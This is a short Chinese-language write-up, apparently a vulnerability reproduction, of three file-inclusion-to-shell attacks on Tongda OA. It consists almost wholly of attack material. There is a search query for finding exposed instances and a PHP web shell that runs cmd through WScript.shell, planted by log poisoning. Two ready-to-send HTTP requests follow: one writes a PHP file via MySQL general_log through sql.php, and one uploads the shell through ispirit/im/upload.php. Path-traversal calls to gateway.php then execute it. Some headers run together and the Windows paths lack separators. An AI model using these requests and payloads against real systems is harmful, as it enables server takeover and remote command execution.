通达OA三种文件包含GETSHELL漏洞复现

app="TDXK-通达OA"

http://x.x.x.x/<?php $command=$_POST['cmd'];$wsh = new COM('Wscript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

http://x.x.x.x/mac/gateway.php
postjson={"url":"/general/../../nginx/logs/oa.error.log"}&cmd=whoami

POST /general/system/database/sql.php HTTP/1.1Host:x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie: PHPSESSID=gquvpovtbgsnrnmf65b04qhu11Content-Length: 353Content-Type: multipart/form-data; boundary=ffa8a9db2f0c70a97fba10db088eca26
--ffa8a9db2f0c70a97fba10db088eca26Content-Disposition: form-data; name="sql_file"; filename="shell.sql"Content-Type: application/octet-stream
set global general_log='on';SET global general_log_file='D:/MYOA/webroot/test.php';SELECT '<?php echo(md5(1));unlink(__FILE__);?>';set global general_log='off';--ffa8a9db2f0c70a97fba10db088eca26--

http://x.x.x.x/test.php

http://x.x.x.x/ispirit/im/upload.php

POST /ispirit/im/upload.php HTTP/1.1Host: x.x.x.xContent-Length: 656Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"
2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"
123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"
1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="txt"Content-Type: image/jpeg
<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--

http://x.x.x.x/mac/gateway.php
postjson={"url":"/general/../../attach/im/2012/1472376370.txt"}&cmd=whoami

D:MYOAwebrootim20121894672167.php

D:MYOAattachim20121472376370.txt